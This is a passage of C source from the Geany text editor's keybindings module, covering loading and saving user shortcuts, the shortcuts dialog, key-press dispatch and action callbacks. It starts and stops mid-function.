load_kb(GeanyKeyGroup *group, GeanyKeyBinding *kb, gpointer user_data) { GKeyFile *config = user_data; gchar *val; guint key; GdkModifierType mods; val = g_key_file_get_string(config, group->name, kb->name, NULL); if (val != NULL) { gtk_accelerator_parse(val, &key, &mods); kb->key = key; kb->mods = mods; g_free(val); } } static void load_user_kb(void) { gchar *configfile = g_strconcat(app->configdir, G_DIR_SEPARATOR_S, "keybindings.conf", NULL); GKeyFile *config = g_key_file_new(); /* backwards compatibility with Geany 0.21 defaults */ if (!g_file_test(configfile, G_FILE_TEST_EXISTS)) { gchar *geanyconf = g_strconcat(app->configdir, G_DIR_SEPARATOR_S, "geany.conf", NULL); const gchar data[] = "[Bindings]\n" "popup_gototagdefinition=\n" "edit_transposeline=<Control>t\n" "edit_movelineup=\n" "edit_movelinedown=\n" "move_tableft=<Alt>Page_Up\n" "move_tabright=<Alt>Page_Down\n"; utils_write_file(configfile, g_file_test(geanyconf, G_FILE_TEST_EXISTS) ? data : ""); g_free(geanyconf); } /* now load user defined keys */ if (g_key_file_load_from_file(config, configfile, G_KEY_FILE_KEEP_COMMENTS, NULL)) { keybindings_foreach(load_kb, config); } g_free(configfile); g_key_file_free(config); } static void apply_kb_accel(GeanyKeyGroup *group, GeanyKeyBinding *kb, gpointer user_data) { if (kb->key != 0 && kb->menu_item) { gtk_widget_add_accelerator(kb->menu_item, "activate", kb_accel_group, kb->key, kb->mods, GTK_ACCEL_VISIBLE); } } void keybindings_load_keyfile(void) { load_user_kb(); add_popup_menu_accels(); /* set menu accels now, after user keybindings have been read */ keybindings_foreach(apply_kb_accel, NULL); } static void add_menu_accel(GeanyKeyGroup *group, guint kb_id, GtkWidget *menuitem) { GeanyKeyBinding *kb = keybindings_get_item(group, kb_id); if (kb->key != 0) gtk_widget_add_accelerator(menuitem, "activate", kb_accel_group, kb->key, kb->mods, GTK_ACCEL_VISIBLE); } #define GEANY_ADD_POPUP_ACCEL(kb_id, wid) \ add_menu_accel(group, kb_id, ui_lookup_widget(main_widgets.editor_menu, G_STRINGIFY(wid))) /* set the menu item accelerator shortcuts (just for visibility, they are handled anyway) */ static void add_popup_menu_accels(void) { GeanyKeyGroup *group; group = keybindings_get_core_group(GEANY_KEY_GROUP_EDITOR); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_EDITOR_UNDO, undo1); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_EDITOR_REDO, redo1); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_EDITOR_CONTEXTACTION, context_action1); group = keybindings_get_core_group(GEANY_KEY_GROUP_SELECT); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_SELECT_ALL, menu_select_all2); group = keybindings_get_core_group(GEANY_KEY_GROUP_INSERT); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_INSERT_DATE, insert_date_custom2); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_INSERT_ALTWHITESPACE, insert_alternative_white_space2); group = keybindings_get_core_group(GEANY_KEY_GROUP_FILE); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_FILE_OPENSELECTED, menu_open_selected_file2); group = keybindings_get_core_group(GEANY_KEY_GROUP_SEARCH); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_SEARCH_FINDUSAGE, find_usage2); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_SEARCH_FINDDOCUMENTUSAGE, find_document_usage2); group = keybindings_get_core_group(GEANY_KEY_GROUP_GOTO); GEANY_ADD_POPUP_ACCEL(GEANY_KEYS_GOTO_TAGDEFINITION, goto_tag_definition2); /* Format and Commands share the menu bar submenus */ /* Build menu items are set if the build menus are created */ } static void set_keyfile_kb(GeanyKeyGroup *group, GeanyKeyBinding *kb, gpointer user_data) { GKeyFile *config = user_data; gchar *val; val = gtk_accelerator_name(kb->key, kb->mods); g_key_file_set_string(config, group->name, kb->name, val); g_free(val); } /* just write the content of the keys array to the config file */ void keybindings_write_to_file(void) { gchar *configfile = g_strconcat(app->configdir, G_DIR_SEPARATOR_S, "keybindings.conf", NULL); gchar *data; GKeyFile *config = g_key_file_new(); g_key_file_load_from_file(config, configfile, 0, NULL); keybindings_foreach(set_keyfile_kb, config); /* write the file */ data = g_key_file_to_data(config, NULL, NULL); utils_write_file(configfile, data); g_free(data); g_free(configfile); g_key_file_free(config); } void keybindings_free(void) { GeanyKeyGroup *group; gsize g; foreach_ptr_array(group, g, keybinding_groups) keybindings_free_group(group); g_ptr_array_free(keybinding_groups, TRUE); } gchar *keybindings_get_label(GeanyKeyBinding *kb) { return utils_str_remove_chars(g_strdup(kb->label), "_"); } static void fill_shortcut_labels_treeview(GtkWidget *tree) { gsize g, i; GeanyKeyBinding *kb; GeanyKeyGroup *group; GtkListStore *store; GtkTreeIter iter; store = gtk_list_store_new(3, G_TYPE_STRING, G_TYPE_STRING, PANGO_TYPE_WEIGHT); foreach_ptr_array(group, g, keybinding_groups) { if (g > 0) { gtk_list_store_append(store, &iter); gtk_list_store_set(store, &iter, -1); } gtk_list_store_append(store, &iter); gtk_list_store_set(store, &iter, 0, group->label, 2, PANGO_WEIGHT_BOLD, -1); foreach_ptr_array(kb, i, group->key_items) { gchar *shortcut, *label; label = keybindings_get_label(kb); shortcut = gtk_accelerator_get_label(kb->key, kb->mods); gtk_list_store_append(store, &iter); gtk_list_store_set(store, &iter, 0, label, 1, shortcut, 2, PANGO_WEIGHT_NORMAL, -1); g_free(shortcut); g_free(label); } } gtk_tree_view_set_model(GTK_TREE_VIEW(tree), GTK_TREE_MODEL(store)); g_object_unref(store); } static GtkWidget *create_dialog(void) { GtkWidget *dialog, *tree, *label, *swin, *vbox; GtkCellRenderer *text_renderer; GtkTreeViewColumn *column; dialog = gtk_dialog_new_with_buttons(_("Keyboard Shortcuts"), GTK_WINDOW(main_widgets.window), GTK_DIALOG_DESTROY_WITH_PARENT, GTK_STOCK_EDIT, GTK_RESPONSE_APPLY, GTK_STOCK_CLOSE, GTK_RESPONSE_CANCEL, NULL); vbox = ui_dialog_vbox_new(GTK_DIALOG(dialog)); gtk_box_set_spacing(GTK_BOX(vbox), 6); gtk_widget_set_name(dialog, "GeanyDialog"); gtk_window_set_default_size(GTK_WINDOW(dialog), -1, GEANY_DEFAULT_DIALOG_HEIGHT); gtk_dialog_set_default_response(GTK_DIALOG(dialog), GTK_RESPONSE_CANCEL); label = gtk_label_new(_("The following keyboard shortcuts are configurable:")); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); tree = gtk_tree_view_new(); gtk_tree_view_set_rules_hint(GTK_TREE_VIEW(tree), TRUE); gtk_tree_view_set_headers_visible(GTK_TREE_VIEW(tree), FALSE); text_renderer = gtk_cell_renderer_text_new(); /* we can't use "weight-set", see http://bugzilla.gnome.org/show_bug.cgi?id=355214 */ column = gtk_tree_view_column_new_with_attributes( NULL, text_renderer, "text", 0, "weight", 2, NULL); gtk_tree_view_append_column(GTK_TREE_VIEW(tree), column); text_renderer = gtk_cell_renderer_text_new(); column = gtk_tree_view_column_new_with_attributes(NULL, text_renderer, "text", 1, NULL); gtk_tree_view_append_column(GTK_TREE_VIEW(tree), column); fill_shortcut_labels_treeview(tree); swin = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(swin), GTK_POLICY_NEVER, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(swin), GTK_SHADOW_ETCHED_IN); gtk_container_add(GTK_CONTAINER(swin), tree); gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 6); gtk_box_pack_start(GTK_BOX(vbox), swin, TRUE, TRUE, 0); return dialog; } /* non-modal keyboard shortcuts dialog, so user can edit whilst seeing the shortcuts */ static GtkWidget *key_dialog = NULL; static void on_dialog_response(GtkWidget *dialog, gint response, gpointer user_data) { if (response == GTK_RESPONSE_APPLY) { GtkWidget *wid; prefs_show_dialog(); /* select the KB page */ wid = ui_lookup_widget(ui_widgets.prefs_dialog, "frame22"); if (wid != NULL) { GtkNotebook *nb = GTK_NOTEBOOK(ui_lookup_widget(ui_widgets.prefs_dialog, "notebook2")); if (nb != NULL) gtk_notebook_set_current_page(nb, gtk_notebook_page_num(nb, wid)); } } gtk_widget_destroy(dialog); key_dialog = NULL; } void keybindings_show_shortcuts(void) { if (key_dialog) gtk_widget_destroy(key_dialog); /* in case the key_dialog is still visible */ key_dialog = create_dialog(); g_signal_connect(key_dialog, "response", G_CALLBACK(on_dialog_response), NULL); gtk_widget_show_all(key_dialog); } static gboolean check_fixed_kb(guint keyval, guint state) { /* check alt-0 to alt-9 for setting current notebook page */ if (state == GDK_MOD1_MASK && keyval >= GDK_0 && keyval <= GDK_9) { gint page = keyval - GDK_0 - 1; gint npages = gtk_notebook_get_n_pages(GTK_NOTEBOOK(main_widgets.notebook)); /* alt-0 is for the rightmost tab */ if (keyval == GDK_0) page = npages - 1; /* invert the order if tabs are added on the other side */ if (swap_alt_tab_order && ! file_prefs.tab_order_ltr) page = (npages - 1) - page; gtk_notebook_set_current_page(GTK_NOTEBOOK(main_widgets.notebook), page); return TRUE; } /* note: these are now overridden by default with move tab bindings */ if (keyval == GDK_Page_Up || keyval == GDK_Page_Down) { /* switch to first or last document */ if (state == (GDK_CONTROL_MASK | GDK_SHIFT_MASK)) { if (keyval == GDK_Page_Up) gtk_notebook_set_current_page(GTK_NOTEBOOK(main_widgets.notebook), 0); if (keyval == GDK_Page_Down) gtk_notebook_set_current_page(GTK_NOTEBOOK(main_widgets.notebook), -1); return TRUE; } } return FALSE; } static gboolean check_snippet_completion(GeanyDocument *doc) { GtkWidget *focusw = gtk_window_get_focus(GTK_WINDOW(main_widgets.window)); g_return_val_if_fail(doc, FALSE); /* keybinding only valid when scintilla widget has focus */ if (focusw == GTK_WIDGET(doc->editor->sci)) { ScintillaObject *sci = doc->editor->sci; gint pos = sci_get_current_position(sci); if (editor_prefs.complete_snippets) return editor_complete_snippet(doc->editor, pos); } return FALSE; } /* Transforms a GdkEventKey event into a GdkEventButton event */ static void trigger_button_event(GtkWidget *widget, guint32 event_time) { GdkEventButton *event; gboolean ret; event = g_new0(GdkEventButton, 1); if (GTK_IS_TEXT_VIEW(widget)) event->window = gtk_text_view_get_window(GTK_TEXT_VIEW(widget), GTK_TEXT_WINDOW_TEXT); else event->window = gtk_widget_get_window(widget); event->time = event_time; event->type = GDK_BUTTON_PRESS; event->button = 3; g_signal_emit_by_name(widget, "button-press-event", event, &ret); g_signal_emit_by_name(widget, "button-release-event", event, &ret); g_free(event); } /* Special case for the Menu key and Shift-F10 to show the right-click popup menu for various * widgets. Without this special handling, the notebook tab list of the documents' notebook * would be shown. As a very special case, we differentiate between the Menu key and Shift-F10 * if pressed in the editor widget: the Menu key opens the popup menu, Shift-F10 opens the * notebook tab list. */ static gboolean check_menu_key(GeanyDocument *doc, guint keyval, guint state, guint32 event_time) { if ((keyval == GDK_Menu && state == 0) || (keyval == GDK_F10 && state == GDK_SHIFT_MASK)) { GtkWidget *focusw = gtk_window_get_focus(GTK_WINDOW(main_widgets.window)); if (doc != NULL) { if (focusw == doc->priv->tag_tree) { trigger_button_event(focusw, event_time); return TRUE; } if (focusw == GTK_WIDGET(doc->editor->sci)) { if (keyval == GDK_Menu) { /* show editor popup menu */ trigger_button_event(focusw, event_time); return TRUE; } else { /* show tab bar menu */ trigger_button_event(main_widgets.notebook, event_time); return TRUE; } } } if (focusw == tv.tree_openfiles || focusw == msgwindow.tree_status || focusw == msgwindow.tree_compiler || focusw == msgwindow.tree_msg || focusw == msgwindow.scribble #ifdef HAVE_VTE || (vte_info.have_vte && focusw == vc->vte) #endif ) { trigger_button_event(focusw, event_time); return TRUE; } } return FALSE; } #ifdef HAVE_VTE static gboolean on_menu_expose_event(GtkWidget *widget, GdkEventExpose *event, gpointer user_data) { if (!GTK_WIDGET_SENSITIVE(widget)) gtk_widget_set_sensitive(GTK_WIDGET(widget), TRUE); return FALSE; } static gboolean set_sensitive(gpointer widget) { gtk_widget_set_sensitive(GTK_WIDGET(widget), TRUE); return FALSE; } static gboolean check_vte(GdkModifierType state, guint keyval) { guint i; GeanyKeyBinding *kb; GeanyKeyGroup *group; GtkWidget *widget; if (gtk_window_get_focus(GTK_WINDOW(main_widgets.window)) != vc->vte) return FALSE; /* let VTE copy/paste override any user keybinding */ if (state == (GDK_CONTROL_MASK | GDK_SHIFT_MASK) && (keyval == GDK_c || keyval == GDK_v)) return TRUE; if (! vc->enable_bash_keys) return FALSE; /* prevent menubar flickering: */ if (state == GDK_SHIFT_MASK && (keyval >= GDK_a && keyval <= GDK_z)) return FALSE; if (state == 0 && (keyval < GDK_F1 || keyval > GDK_F35)) /* e.g. backspace */ return FALSE; /* make focus commands override any bash commands */ group = keybindings_get_core_group(GEANY_KEY_GROUP_FOCUS); foreach_ptr_array(kb, i, group->key_items) { if (state == kb->mods && keyval == kb->key) return FALSE; } /* Temporarily disable the menus to prevent conflicting menu accelerators * from overriding the VTE bash shortcuts. * Note: maybe there's a better way of doing this ;-) */ widget = ui_lookup_widget(main_widgets.window, "menubar1"); gtk_widget_set_sensitive(widget, FALSE); { /* make the menubar sensitive before it is redrawn */ static gboolean connected = FALSE; if (!connected) g_signal_connect(widget, "expose-event", G_CALLBACK(on_menu_expose_event), NULL); } widget = main_widgets.editor_menu; gtk_widget_set_sensitive(widget, FALSE); g_idle_add(set_sensitive, widget); return TRUE; } #endif /* Map the keypad keys to their equivalent functions (taken from ScintillaGTK.cxx) */ static guint key_kp_translate(guint key_in) { switch (key_in) { case GDK_KP_Down: return GDK_Down; case GDK_KP_Up: return GDK_Up; case GDK_KP_Left: return GDK_Left; case GDK_KP_Right: return GDK_Right; case GDK_KP_Home: return GDK_Home; case GDK_KP_End: return GDK_End; case GDK_KP_Page_Up: return GDK_Page_Up; case GDK_KP_Page_Down: return GDK_Page_Down; case GDK_KP_Delete: return GDK_Delete; case GDK_KP_Insert: return GDK_Insert; default: return key_in; } } /* Check if event keypress matches keybinding combo */ gboolean keybindings_check_event(GdkEventKey *ev, GeanyKeyBinding *kb) { guint state, keyval; if (ev->keyval == 0) return FALSE; keyval = ev->keyval; state = ev->state & gtk_accelerator_get_default_mod_mask(); /* hack to get around that CTRL+Shift+r results in GDK_R not GDK_r */ if ((ev->state & GDK_SHIFT_MASK) || (ev->state & GDK_LOCK_MASK)) if (keyval >= GDK_A && keyval <= GDK_Z) keyval += GDK_a - GDK_A; if (keyval >= GDK_KP_Space && keyval < GDK_KP_Equal) keyval = key_kp_translate(keyval); return (keyval == kb->key && state == kb->mods); } void keybindings_debug_it(void) { int i; for (i = 0; i < GEANY_KEYS_COUNT; ++i) { if (binding_ids[i].id == GEANY_KEYS_CLIPBOARD_PASTE) { fprintf(stderr, "@@@ after %d\n", binding_ids[i].mods); } } } /* central keypress event handler, almost all keypress events go to this function */ static gboolean on_key_press_event(GtkWidget *widget, GdkEventKey *ev, gpointer user_data) { guint state, keyval; gsize g, i; GeanyDocument *doc; GeanyKeyGroup *group; GeanyKeyBinding *kb; if (ev->keyval == 0) return FALSE; doc = document_get_current(); if (doc) document_check_disk_status(doc, FALSE); keyval = ev->keyval; // state = ev->state & (gtk_accelerator_get_default_mod_mask() | 16); // meta bit on MacOSX state = ev->state & gtk_accelerator_get_default_mod_mask(); // geany_debug("key pressed: %d %d %d %d\n", ev->keyval, ev->state, gtk_accelerator_get_default_mod_mask(), state); /* hack to get around that CTRL+Shift+r results in GDK_R not GDK_r */ if ((ev->state & GDK_SHIFT_MASK) || (ev->state & GDK_LOCK_MASK)) if (keyval >= GDK_A && keyval <= GDK_Z) keyval += GDK_a - GDK_A; if (keyval >= GDK_KP_Space && keyval < GDK_KP_Equal) keyval = key_kp_translate(keyval); /*geany_debug("%d (%d) %d (%d)", keyval, ev->keyval, state, ev->state);*/ /* special cases */ #ifdef HAVE_VTE if (vte_info.have_vte && check_vte(state, keyval)) return FALSE; #endif if (check_menu_key(doc, keyval, state, ev->time)) return TRUE; foreach_ptr_array(group, g, keybinding_groups) { foreach_ptr_array(kb, i, group->key_items) { if (keyval == kb->key && state == kb->mods) { /* call the corresponding callback function for this shortcut */ if (kb->callback) { kb->callback(kb->id); return TRUE; } else if (group->callback) { if (group->callback(kb->id)) return TRUE; else continue; /* not handled */ } g_warning("No callback for keybinding %s: %s!", group->name, kb->name); } } } /* fixed keybindings can be overridden by user bindings, so check them last */ if (check_fixed_kb(keyval, state)) return TRUE; return FALSE; } /* group_id must be a core group, e.g. GEANY_KEY_GROUP_EDITOR * key_id e.g. GEANY_KEYS_EDITOR_CALLTIP */ GeanyKeyBinding *keybindings_lookup_item(guint group_id, guint key_id) { GeanyKeyGroup *group; g_return_val_if_fail(group_id < GEANY_KEY_GROUP_COUNT, NULL); /* can't use this for plugin groups */ group = keybindings_get_core_group(group_id); g_return_val_if_fail(group, NULL); return keybindings_get_item(group, key_id); } /** Mimics a (built-in only) keybinding action. * Example: @code keybindings_send_command(GEANY_KEY_GROUP_FILE, GEANY_KEYS_FILE_OPEN); @endcode * @param group_id @ref GeanyKeyGroupID keybinding group index that contains the @a key_id keybinding. * @param key_id @ref GeanyKeyBindingID keybinding index. */ void keybindings_send_command(guint group_id, guint key_id) { GeanyKeyBinding *kb; kb = keybindings_lookup_item(group_id, key_id); if (kb) { if (kb->callback) kb->callback(key_id); else { GeanyKeyGroup *group = keybindings_get_core_group(group_id); if (group->callback) group->callback(key_id); } } } /* These are the callback functions, either each group or each shortcut has it's * own function. */ static gboolean cb_func_file_action(guint key_id) { switch (key_id) { case GEANY_KEYS_FILE_NEW: document_new_file(NULL, NULL, NULL); break; case GEANY_KEYS_FILE_OPEN: on_open1_activate(NULL, NULL); break; case GEANY_KEYS_FILE_OPENSELECTED: on_menu_open_selected_file1_activate(NULL, NULL); break; case GEANY_KEYS_FILE_OPENLASTTAB: { gchar *utf8_filename = g_queue_peek_head(ui_prefs.recent_queue); gchar *locale_filename = utils_get_locale_from_utf8(utf8_filename); document_open_file(locale_filename, FALSE, NULL, NULL); g_free(locale_filename); break; } case GEANY_KEYS_FILE_SAVE: on_save1_activate(NULL, NULL); break; case GEANY_KEYS_FILE_SAVEAS: on_save_as1_activate(NULL, NULL); break; case GEANY_KEYS_FILE_SAVEALL: on_save_all1_activate(NULL, NULL); break; case GEANY_KEYS_FILE_CLOSE: on_close1_activate(NULL, NULL); break; case GEANY_KEYS_FILE_CLOSEALL: on_close_all1_activate(NULL, NULL); break; case GEANY_KEYS_FILE_RELOAD: on_toolbutton_reload_clicked(NULL, NULL); break; case GEANY_KEYS_FILE_PRINT: on_print1_activate(NULL, NULL); break; } return TRUE; } static gboolean cb_func_project_action(guint key_id) { switch (key_id) { case GEANY_KEYS_PROJECT_NEW: on_project_new1_activate(NULL, NULL); break; case GEANY_KEYS_PROJECT_OPEN: on_project_open1_activate(NULL, NULL); break; case GEANY_KEYS_PROJECT_CLOSE: if (app->project) on_project_close1_activate(NULL, NULL); break; case GEANY_KEYS_PROJECT_PROPERTIES: if (app->project) on_project_properties1_activate(NULL, NULL); break; } return TRUE; } static void cb_func_menu_preferences(guint key_id) { switch (key_id) { case GEANY_KEYS_SETTINGS_PREFERENCES: on_preferences1_activate(NULL, NULL); break; case GEANY_KEYS_SETTINGS_PLUGINPREFERENCES: on_plugin_preferences1_activate(NULL, NULL); break; } } static void cb_func_menu_help(G_GNUC_UNUSED guint key_id) { on_help1_activate(NULL, NULL); } static gboolean cb_func_search_action(guint key_id) { GeanyDocument *doc = document_get_current(); ScintillaObject *sci; if (key_id == GEANY_KEYS_SEARCH_FINDINFILES) { on_find_in_files1_activate(NULL, NULL); /* works without docs too */ return TRUE; } if (!doc) return TRUE; sci = doc->editor->sci; switch (key_id) { case GEANY_KEYS_SEARCH_FIND: on_find1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_FINDNEXT: on_find_next1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_FINDPREVIOUS: on_find_previous1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_FINDPREVSEL: on_find_prevsel1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_FINDNEXTSEL: on_find_nextsel1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_REPLACE: on_replace1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_NEXTMESSAGE: on_next_message1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_PREVIOUSMESSAGE: on_previous_message1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_FINDUSAGE: on_find_usage1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_FINDDOCUMENTUSAGE: on_find_document_usage1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_MARKALL: { gchar *text = get_current_word_or_sel(doc, TRUE); if (sci_has_selection(sci)) search_mark_all(doc, text, SCFIND_MATCHCASE); else { /* clears markers if text is null */ search_mark_all(doc, text, SCFIND_MATCHCASE | SCFIND_WHOLEWORD); } g_free(text); break; } } return TRUE; } static void cb_func_menu_opencolorchooser(G_GNUC_UNUSED guint key_id) { on_show_color_chooser1_activate(NULL, NULL); } static gboolean cb_func_view_action(guint key_id) { switch (key_id) { case GEANY_KEYS_VIEW_TOGGLEALL: on_menu_toggle_all_additional_widgets1_activate(NULL, NULL); break; case GEANY_KEYS_VIEW_SIDEBAR: on_menu_show_sidebar1_toggled(NULL, NULL); break; case GEANY_KEYS_VIEW_ZOOMIN: on_zoom_in1_activate(NULL, NULL); break; case GEANY_KEYS_VIEW_ZOOMOUT: on_zoom_out1_activate(NULL, NULL); break; case GEANY_KEYS_VIEW_ZOOMRESET: on_normal_size1_activate(NULL, NULL); break; default: break; } return TRUE; } static void cb_func_menu_fullscreen(G_GNUC_UNUSED guint key_id) { GtkCheckMenuItem *c = GTK_CHECK_MENU_ITEM( ui_lookup_widget(main_widgets.window, "menu_fullscreen1")); gtk_check_menu_item_set_active(c, ! gtk_check_menu_item_get_active(c)); } static void cb_func_menu_messagewindow(G_GNUC_UNUSED guint key_id) { GtkCheckMenuItem *c = GTK_CHECK_MENU_ITEM( ui_lookup_widget(main_widgets.window, "menu_show_messages_window1")); gtk_check_menu_item_set_active(c, ! gtk_check_menu_item_get_active(c)); } static gboolean cb_func_build_action(guint key_id) { GtkWidget *item; BuildMenuItems *menu_items; GeanyDocument *doc = document_get_current(); if (doc == NULL) return TRUE; if (!GTK_WIDGET_IS_SENSITIVE(ui_lookup_widget(main_widgets.window, "menu_build1"))) return TRUE; menu_items = build_get_menu_items(doc->file_type->id); /* TODO make it a table??*/ switch (key_id) { case GEANY_KEYS_BUILD_COMPILE: item = menu_items->menu_item[GEANY_GBG_FT][GBO_TO_CMD(GEANY_GBO_COMPILE)]; break; case GEANY_KEYS_BUILD_LINK: item = menu_items->menu_item[GEANY_GBG_FT][GBO_TO_CMD(GEANY_GBO_BUILD)]; break; case GEANY_KEYS_BUILD_MAKE: item = menu_items->menu_item[GEANY_GBG_NON_FT][GBO_TO_CMD(GEANY_GBO_MAKE_ALL)]; break; case GEANY_KEYS_BUILD_MAKEOWNTARGET: item = menu_items->menu_item[GEANY_GBG_NON_FT][GBO_TO_CMD(GEANY_GBO_CUSTOM)]; break; case GEANY_KEYS_BUILD_MAKEOBJECT: item = menu_items->menu_item[GEANY_GBG_NON_FT][GBO_TO_CMD(GEANY_GBO_MAKE_OBJECT)]; break; case GEANY_KEYS_BUILD_NEXTERROR: item = menu_items->menu_item[GBG_FIXED][GBF_NEXT_ERROR]; break; case GEANY_KEYS_BUILD_PREVIOUSERROR: item = menu_items->menu_item[GBG_FIXED][GBF_PREV_ERROR]; break; case GEANY_KEYS_BUILD_RUN: item = menu_items->menu_item[GEANY_GBG_EXEC][GBO_TO_CMD(GEANY_GBO_EXEC)]; break; case GEANY_KEYS_BUILD_OPTIONS: item = menu_items->menu_item[GBG_FIXED][GBF_COMMANDS]; break; default: item = NULL; } /* Note: For Build menu items it's OK (at the moment) to assume they are in the correct * sensitive state, but some other menus don't update the sensitive status until * they are redrawn. */ if (item && GTK_WIDGET_IS_SENSITIVE(item)) gtk_menu_item_activate(GTK_MENU_ITEM(item)); return TRUE; } static gboolean read_current_word(GeanyDocument *doc, gboolean sci_word) { if (doc == NULL) return FALSE; if (sci_word) { editor_find_current_word_sciwc(doc->editor, -1, editor_info.current_word, GEANY_MAX_WORD_LENGTH); } else { editor_find_current_word(doc->editor, -1, editor_info.current_word, GEANY_MAX_WORD_LENGTH, NULL); } return (*editor_info.current_word != 0); } static gboolean check_current_word(GeanyDocument *doc, gboolean sci_word) { if (! read_current_word(doc, sci_word)) { utils_beep(); return FALSE; } return TRUE; } static gchar *get_current_word_or_sel(GeanyDocument *doc, gboolean sci_word) { ScintillaObject *sci = doc->editor->sci; if (sci_has_selection(sci)) return sci_get_selection_contents(sci); return read_current_word(doc, sci_word) ? g_strdup(editor_info.current_word) : NULL; } static void focus_sidebar(void) { if (ui_prefs.sidebar_visible) { gint page_num = gtk_notebook_get_current_page(GTK_NOTEBOOK(main_widgets.sidebar_notebook)); GtkWidget *page = gtk_notebook_get_nth_page(GTK_NOTEBOOK(main_widgets.sidebar_notebook), page_num); /* gtk_widget_grab_focus() won't work because of the scrolled window containers */ gtk_widget_child_focus(page, GTK_DIR_TAB_FORWARD); } } static void focus_msgwindow(void) { if (ui_prefs.msgwindow_visible) { gint page_num = gtk_notebook_get_current_page(GTK_NOTEBOOK(msgwindow.notebook)); GtkWidget *page = gtk_notebook_get_nth_page(GTK_NOTEBOOK(msgwindow.notebook), page_num); gtk_widget_grab_focus(gtk_bin_get_child(GTK_BIN(page))); } } static gboolean cb_func_switch_action(guint key_id) { switch (key_id) { case GEANY_KEYS_FOCUS_EDITOR: { GeanyDocument *doc = document_get_current(); if (doc != NULL) { GtkWidget *sci = GTK_WIDGET(doc->editor->sci); if (GTK_WIDGET_HAS_FOCUS(sci)) ui_update_statusbar(doc, -1); else gtk_widget_grab_focus(sci); } break; } case GEANY_KEYS_FOCUS_SCRIBBLE: msgwin_switch_tab(MSG_SCRATCH, TRUE); break; case GEANY_KEYS_FOCUS_SEARCHBAR: if (toolbar_prefs.visible) { GtkWidget *search_entry = toolbar_get_widget_child_by_name("SearchEntry"); if (search_entry != NULL) gtk_widget_grab_focus(search_entry); } break; case GEANY_KEYS_FOCUS_SIDEBAR: focus_sidebar(); break; case GEANY_KEYS_FOCUS_VTE: msgwin_switch_tab(MSG_VTE, TRUE); break; case GEANY_KEYS_FOCUS_COMPILER: msgwin_switch_tab(MSG_COMPILER, TRUE); break; case GEANY_KEYS_FOCUS_MESSAGES: msgwin_switch_tab(MSG_MESSAGE, TRUE); break; case GEANY_KEYS_FOCUS_MESSAGE_WINDOW: focus_msgwindow(); break; case GEANY_KEYS_FOCUS_SIDEBAR_DOCUMENT_LIST: sidebar_focus_openfiles_tab(); break; case GEANY_KEYS_FOCUS_SIDEBAR_SYMBOL_LIST: sidebar_focus_symbols_tab(); break; } return TRUE; } static void switch_notebook_page(gint direction) { gint page_count, cur_page; gboolean parent_is_notebook = FALSE; GtkNotebook *notebook; GtkWidget *focusw = gtk_window_get_focus(GTK_WINDOW(main_widgets.window)); /* check whether the current widget is a GtkNotebook or a child of a GtkNotebook */ do { parent_is_notebook = GTK_IS_NOTEBOOK(focusw); } while (! parent_is_notebook && (focusw = gtk_widget_get_parent(focusw)) != NULL); /* if we found a GtkNotebook widget, use it. Otherwise fallback to the documents notebook */ if (parent_is_notebook) notebook = GTK_NOTEBOOK(focusw); else notebook = GTK_NOTEBOOK(main_widgets.notebook); /* now switch pages */ page_count = gtk_notebook_get_n_pages(notebook); cur_page = gtk_notebook_get_current_page(notebook); if (direction == GTK_DIR_LEFT) { if (cur_page > 0) gtk_notebook_set_current_page(notebook, cur_page - 1); else gtk_notebook_set_current_page(notebook, page_count - 1); } else if (direction == GTK_DIR_RIGHT) { if (cur_page < page_count - 1) gtk_notebook_set_current_page(notebook, cur_page + 1); else gtk_notebook_set_current_page(notebook, 0); } } static void cb_func_switch_tableft(G_GNUC_UNUSED guint key_id) { switch_notebook_page(GTK_DIR_LEFT); } static void cb_func_switch_tabright(G_GNUC_UNUSED guint key_id) { switch_notebook_page(GTK_DIR_RIGHT); } static void cb_func_switch_tablastused(G_GNUC_UNUSED guint key_id) { notebook_switch_tablastused(); } /* move document left/right/first/last */ static void cb_func_move_tab(guint key_id) { GtkWidget *sci; GtkNotebook *nb = GTK_NOTEBOOK(main_widgets.notebook); gint cur_page = gtk_notebook_get_current_page(nb); GeanyDocument *doc = document_get_current(); if (doc == NULL) return; sci = GTK_WIDGET(doc->editor->sci); switch (key_id) { case GEANY_KEYS_NOTEBOOK_MOVETABLEFT: gtk_notebook_reorder_child(nb, sci, cur_page - 1); /* notebook wraps around by default */ break; case GEANY_KEYS_NOTEBOOK_MOVETABRIGHT: { gint npage = cur_page + 1; if (npage == gtk_notebook_get_n_pages(nb)) npage = 0; /* wraparound */ gtk_notebook_reorder_child(nb, sci, npage); break; } case GEANY_KEYS_NOTEBOOK_MOVETABFIRST: gtk_notebook_reorder_child(nb, sci, (file_prefs.tab_order_ltr) ? 0 : -1); break; case GEANY_KEYS_NOTEBOOK_MOVETABLAST: gtk_notebook_reorder_child(nb, sci, (file_prefs.tab_order_ltr) ? -1 : 0); break; } return; } static void goto_matching_brace(GeanyDocument *doc) { gint pos, new_pos; gint after_brace; if (doc == NULL) return; pos = sci_get_current_position(doc->editor->sci); after_brace = pos > 0 && utils_isbrace(sci_get_char_at(doc->editor->sci, pos - 1), TRUE); pos -= after_brace; /* set pos to the brace */ new_pos = sci_find_matching_brace(doc->editor->sci, pos); if (new_pos != -1) { 